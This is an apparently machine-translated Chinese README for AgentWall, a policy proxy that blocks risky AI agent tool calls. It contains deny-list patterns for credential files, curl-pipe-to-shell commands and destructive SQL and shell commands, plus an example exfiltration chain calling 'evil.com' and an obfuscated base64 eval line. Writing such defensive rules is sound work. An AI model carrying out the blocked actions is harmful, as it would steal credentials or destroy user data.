AgentWall
您的AI代理具有root访问权限。这会阻止它。
](https://www.npmjs.com/package/@agentwall/agentwall)  ](https://nodejs.org) ](https://github.com/agentwall/agentwall) ](https://github.com/agentwall/agentwall/commits)
npx @agentwall/agentwall setupAgentWall demo. Claude said "always allow." AgentWall blocked it anyway.
______________________________________________________________________
克劳德说 始终允许OpenClaw说 始终允许.AgentWall还是阻止了它。
18:14:47 mcp DENY policy list_directory ← BLOCKED despite Claude "Always allow"
18:14:51 openclaw DENY policy exec ← BLOCKED despite OpenClaw approval
18:15:03 openclaw DENY policy exec gog gmail trash ← BLOCKED (inbox deletion prevented)你的YAML策略是最终决定。不是客户。不是模型。你。
为什么在内置安全失效时,这会起作用: AgentWall在模型的上下文窗口之外运行。上下文压缩、提示注入或受损工具无法触及您的策略文件。
______________________________________________________________________
⚠️ 2026年2月,一个失控的OpenClaw代理发送了142 gog gmail trash 呼叫并删除了用户的整个收件箱。Claude Desktop和OpenClaw内置的安全提示在模型的上下文窗口内运行。上下文压缩可以完全清除它们。 Agent Wall会在呼叫#1时阻止它。📖 写: 您的AI代理可以读取您计算机上的每个凭据
______________________________________________________________________
目录
______________________________________________________________________
特性
- 无处不在。 Claude Desktop、Cursor、Windsurf、Claude Code、OpenClaw、任何MCP客户端
- Taint追踪。 检测凭据读取并阻止后续的出站网络调用,在完成多步渗透之前停止它
- YAML策略引擎。 拒绝、允许、使用全局匹配、SQL内容匹配、路径规则进行询问
- 一个命令安装。
npx @agentwall/agentwall setup自动检测并包装所有MCP服务器 - 浏览器审批界面。 批准或拒绝浏览器中的工具调用;在没有终端的GUI客户端中工作
- 独立审计日志。 每次工具调用的真实记录,无论模型声称它做了什么
- 热重新加载。 编辑
~/.agentwall/policy.yaml更改立即生效,无需重新启动 - 速率限制。 在失控的代理循环造成损害之前,限制每分钟的工具调用次数
- 防止收件箱删除。 积木
gog gmail trash/delete命令和速率限制批量Gmail操作;本可以阻止 2026年2月OpenClaw事件 随叫随到#1 - 完全可逆。
agentwall undo在一个命令中恢复所有原始配置 - 策略库。 gog、GitHub、1Password、消息传递等社区政策,请访问 代理墙注册表
______________________________________________________________________
安装
npx @agentwall/agentwall setupAgentWall检测克劳德桌面、光标、Windsurf、克劳德代码和OpenClaw。 自动包装每个MCP服务器。备份您的原件。零JSON编辑。
# Or install globally
npm install -g @agentwall/agentwall
agentwall setup需要Node.js>=22。
要验证保护是否处于活动状态:
agentwall status
# AgentWall v0.9.0
# Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
# Policy: ~/.agentwall/policy.yaml
# Decisions today: 47 allowed · 0 blocked · 2 approved______________________________________________________________________
快速开始
# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup
# 2. Create a default policy (protects credentials, database, shell)
agentwall init
# 3. Start the web UI first (it owns port 7823)
agentwall ui
# → http://localhost:7823
# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser
# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI⚠️ 开机顺序很重要。 开始 agentwall ui 在OpenClaw网关之前和打开AI客户端之前。网关和MCP代理在启动时检测UI,并将批准请求路由到它。如果UI尚未运行,它们会退回到终端提示。______________________________________________________________________
支持的客户
| 客户 | 审批方式 | 集成 |
|---|---|---|
| 克劳德桌面 | 本地主机浏览器UI:7823 | MCP代理 |
| 光标 | 本地主机浏览器UI:7823 | MCP代理 |
| Windsurf | 本地主机浏览器UI:7823 | MCP代理 |
| 克劳德代码 | 终端 y/n/a 提示 | MCP代理 |
| OpenClaw | 终端 y/n/a prompt | 本机插件 |
| 任何MCP客户端 | 浏览器UI或终端 | MCP代理 |
GUI客户端 (光标、克劳德桌面、Windsurf)没有终端。审批请求显示在您的浏览器中 http://localhost:7823。如果没有响应,30秒后自动拒绝。
终端客户端 (Claude Code,OpenClaw)获取内联 y/n/a 提示。按 a 始终允许在会话的其余时间进行操作。
______________________________________________________________________
Web用户界面
agentwall ui # → http://localhost:7823批准 /:实时批准或拒绝浏览器中的工具调用。30秒后自动拒绝。
策略编辑器 /policy:直观地或在原始YAML中编辑规则。两种模式都编辑同一个文件。更改立即生效。
日志查看器 /log:您的代理所做一切的可搜索视图。按运行时、决策、工具名称、日期过滤。
客户 /clients:查看计算机上每个受支持的客户端,哪些MCP服务器受到保护,并一键包装新服务器。
web UI仅限于本地主机。没有身份验证。无外部连接。
______________________________________________________________________
开爪
AgentWall包含一个本地OpenClaw插件,可以连接到 before_tool_call,拦截 exec, read, write, edit, apply_patch,以及 process 在他们执行之前。
# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link该插件独立于MCP代理运行。两者都可以同时运行,将每个决策记录到同一个审计文件中,而不管哪个运行时触发了它。
如果你使用 gog 对于Gmail访问,请在您的策略中添加电子邮件保护规则。看 防止收件箱删除(gog) 在......下面
______________________________________________________________________
政策
AgentWall按以下顺序评估规则: deny → 允许→ ask. 不匹配的呼叫默认为 问。从不允许无声地拨打未知电话。
agentwall init # creates ~/.agentwall/policy.yaml with sensible defaults规则字段
| 字段 | 描述 | 示例 |
|---|---|---|
command | Shell命令glob | "rm -rf *" |
path | 文件路径glob | ~/.ssh/** |
tool | MCP工具名称glob | "write_file" |
match | 参数内容glob(不区分大小写) | sql: "drop *" |
url | URL模式 | "*.competitor.com/*" |
球状图案: * 匹配除以下字符之外的任何字符 /. ** 匹配所有内容,包括 /规则中的所有字段都使用AND逻辑。
特殊路径值: outside:workspace 匹配当前工作目录之外的任何路径。
保护您的数据库
deny:
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"
ask:
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"DROP和TRUNCATE默默地封锁了。DELETE和ALTER提示审批。其他一切正常运行。SQL匹配不区分大小写。
防止收件箱删除(gog)
OpenClaw使用 gog CLI访问Gmail。自从 gog 作为shell进程运行,AgentWall的原生插件通过以下方式拦截它 exec 在它触及你的收件箱之前。
2026年2月,一名失控的OpenClaw代理发送了142 gog gmail trash 在用户进行干预之前,呼叫并删除了用户的整个收件箱。这是在呼叫#1时停止它的策略。代理自己的护栏没有。它们在代理已经覆盖的上下文窗口内运行。
deny:
# Email — never trash or delete without explicit approval
- tool: exec
match:
command: "gog gmail trash*"
- tool: exec
match:
command: "gog gmail delete*"
- tool: exec
match:
command: "gog gmail batchDelete*"
ask:
# Email — confirm any inbox modification
- tool: exec
match:
command: "gog gmail modify*"
- tool: exec
match:
command: "gog gmail archive*"
limits:
- tool: exec
match:
command: "gog gmail*"
max: 10
window: 60 # max 10 Gmail operations per minute (a loop of 142 never completes)删除规则被默认拒绝。归档并修改审批提示。即使错过了规则,速率限制也会捕获失控的批量操作。
为什么这在OpenClaw自己的护栏失败时奏效:该政策存在于 ~/.agentwall/policy.yaml,在模型的上下文窗口之外。擦除模型安全说明的上下文压缩不会影响此文件。
请参阅 事故记录 完整的时间表。要深入了解凭证泄漏的工作原理以及AgentWall如何阻止它,请阅读: 您的AI代理可以读取您计算机上的每个凭据
完全默认策略
deny:
# Credentials — never access
- path: ~/.ssh/**
- path: ~/.aws/**
- path: ~/.gnupg/**
# Shell config — prevent persistence/backdoor
- path: ~/.bashrc
- path: ~/.zshrc
# Shell — never pipe from internet
- command: "curl * | *"
- command: "wget * | *"
# Database — never drop or truncate
- tool: "*"
match:
sql: "drop *"
- tool: "*"
match:
sql: "truncate *"
ask:
# Shell — confirm destructive commands
- command: "rm -rf *"
- command: "sudo *"
- command: "dd *"
# Git — confirm pushes to main
- tool: exec
match:
command: "git push*main*"
# Database — confirm writes
- tool: "*"
match:
sql: "delete *"
- tool: "*"
match:
sql: "alter *"
# Files outside workspace
- tool: "*"
path: outside:workspace
allow:
# Everything inside workspace is trusted
- path: workspace/**
limits:
- tool: exec
max: 30
window: 60 # max 30 shell commands per minute
allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.org______________________________________________________________________
速率限制
限制代理在每个会话窗口中可以调用工具的次数。在失控回路造成损坏之前将其捕获。
limits:
- tool: exec
max: 10
window: 60 # max 10 shell commands per minute
- tool: "*"
max: 200
window: 300 # max 200 total tool calls per 5 minutes当接近限制(90%)时,AgentWall会触发macOS通知。当它点击时,代理会收到一条它可以读取的消息:
AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.______________________________________________________________________
Taint跟踪
AgentWall跟踪会话内跨工具调用的多步渗透攻击。当工具调用读取敏感文件(凭据、SSH密钥、环境变量)时,会话标记为 受污染的。无论单个策略规则如何,对不在分配列表上的主机的任何后续出站网络呼叫都会被自动阻止。
此检测到的杀伤链:
Tool call reads ~/.aws/credentials → session marked TAINTED
Tool call runs curl https://evil.com → BLOCKED (taint violation)Taint由以下因素触发:
- 读取敏感文件:
~/.ssh/,~/.aws/credentials,~/.kube/config,~/.gnupg/,.env,SSH密钥 - 敏感数据库查询:
information_schema,pg_catalog,mysql.user - 访问的命令
process.env,os.environ,或敏感的环境变量
配置即使受到污染也允许哪些主机:
allowed_hosts:
- api.anthropic.com
- api.openai.com
- github.com
- registry.npmjs.org
- pypi.orgTaint状态可见 agentwall statusweb UI(警告横幅),以及 agentwall replay (以洋红色突出显示)。当新会话开始时,Taint会自动重置。
______________________________________________________________________
热重载
编辑 ~/.agentwall/policy.yaml 并且更改会立即应用于所有正在运行的代理和插件。无需重新启动Claude Desktop、Cursor或网关。
[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml______________________________________________________________________
审核日志
每个决策都独立于模型所声称的内容进行记录。
| 日志文件 | 编写人 | 目录 |
|---|---|---|
~/.agentwall/session-YYYY-MM-DD.jsonl | MCP代理 | 通过代理拦截的工具调用 |
~/.agentwall/decisions.jsonl | OpenClaw插件 | 通过原生插件拦截的工具调用 |
web UI日志查看器会自动合并这两个文件。
agentwall replay # color-coded table of today's decisions
agentwall replay 20 # last 20 entries
agentwall clear-logs # remove all log files and start fresh如果模型报告它只读取了一个文件,但AgentWall记录了47次读取,则日志是正确的。
______________________________________________________________________
命令
agentwall setup [--dry-run] Auto-detect and wrap all MCP configs
agentwall undo Restore all original MCP configs from backup
agentwall proxy -- [args] Wrap a single MCP server
agentwall ui [--port 7823] Start the web UI
agentwall init Create default policy at ~/.agentwall/policy.yaml
agentwall status Show protection status and today's decision counts
agentwall replay [N] Show recent audit log entries (color-coded)
agentwall clear-logs Remove all log files
agentwall --version Print version______________________________________________________________________
运作原理
AgentWall位于您的AI客户端和它生成的每个MCP服务器之间。
AI Client ←→ AgentWall Proxy ←→ Real MCP Server
|
policy.yaml ← your rules
taint tracker ← cross-call exfiltration detection
audit log ← independent record
approval UI ← localhost:7823客户永远不知道AgentWall在那里。真正的服务器永远不会知道它正在被代理。 agentwall setup 自动更改配置:
Before:
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}
After:
{
"mcpServers": {
"filesystem": {
"command": "agentwall",
"args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
}
}
}______________________________________________________________________
AgentWall保护什么
- 意外破坏:
rm -rf,DROP TABLE,TRUNCATE - 凭证访问:
~/.ssh,~/.aws,~/.gnupg - Shell配置修改:
~/.bashrc,~/.zshrc(持久性/后门) - 工作区外的操作
- 破坏性git操作:强制推送、向主推送
- 失控代理:每个工具每个会话的速率限制
- 常见的混淆模式:
eval,base64 -d - 未经批准的数据库写入:
DELETE,ALTER,UPDATE - 多步渗透:污染跟踪阻止凭据读取→ 网络发送链
- 通过gog删除收件箱:拒绝垃圾/删除命令,限制批量Gmail操作的速率
______________________________________________________________________
Agent Wall不能保护什么
混乱的命令。 eval $(echo cm0= | base64 -d).模式匹配参见 eval,而不是解码的有效载荷。
通过请求体进行数据泄露。 Agent Wall看到 curl 命令,而不是网络有效载荷。
迅速注射。 在代理读取之前,需要扫描每个文件。
超越污染跟踪的多步攻击。 Taint跟踪捕捉到最常见的模式(读取凭据→ 网络渗透),但不是所有间接链,例如将凭据写入一个世界可读的文件,然后另一个进程读取并发送。
AgentWall是一个策略引擎,而不是安全沙箱。正确的补充是操作系统级隔离:在一开始就没有凭据访问权限的容器中运行代理。两者相辅相成。
______________________________________________________________________
OWASP代理AI十大报道
AgentWall解决了以下风险 2026年代理应用的OWASP前10名:
| 威胁 | AgentWall如何提供帮助 |
|---|---|
| ASI02–工具滥用和利用 | YAML策略引擎在执行前阻止破坏性的工具调用 |
| ASI03–身份和特权滥用 | 凭证路径保护、工作区边界强制和污染跟踪 |
| ASI04–数据过滤 | Taint跟踪检测凭证访问并阻止后续的出站网络呼叫 |
| ASI08–级联故障 | 速率限制在失控的代理循环造成损害之前将其捕获 |
AgentWall是一个策略引擎,而不是安全沙箱。看 Agent Wall不能保护什么 诚实地评估其局限性。
______________________________________________________________________
策略库
通用工具的即用型策略:gog、GitHub CLI、1Password、消息传递、Homebrew等。
agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer浏览所有政策→
______________________________________________________________________
贡献
欢迎捐款。看 贡献.md 作为指导方针。
要将新的MCP服务器添加到策略注册表中,请打开一个PR 代理墙注册表.
______________________________________________________________________
版本历史
| 版本 | 主题 | 发货内容 |
|---|---|---|
| v0.1 | 概念验证 | 执行拦截、YAML策略引擎、JSONL审计日志 |
| v0.2 | 完全覆盖OpenClaw | 原生插件,所有工具调用都被拦截 |
| v0.3 | 运行时无关 | MCP代理:Claude Desktop、Cursor、Windsurf |
| v0.4 | 零摩擦 | agentwall setup,数据库规则,npm发布 |
| v0.5 | 可用性 | 热重载,速率限制 |
| v0.6 | Web UI | 审批页面、策略编辑器、日志查看器 |
| v0.7 | 客户端可见性 | 客户端选项卡,自动检测,一键保护 |
| v0.8 | 通知 | macOS通知、选项卡标题、声音 |
| v0.9 | 污点跟踪 | UI/CLI/audit中的交叉调用泄漏检测、allowe_hosts、污点状态 |
______________________________________________________________________
许可证
根据 Apache许可证,版本2.0.
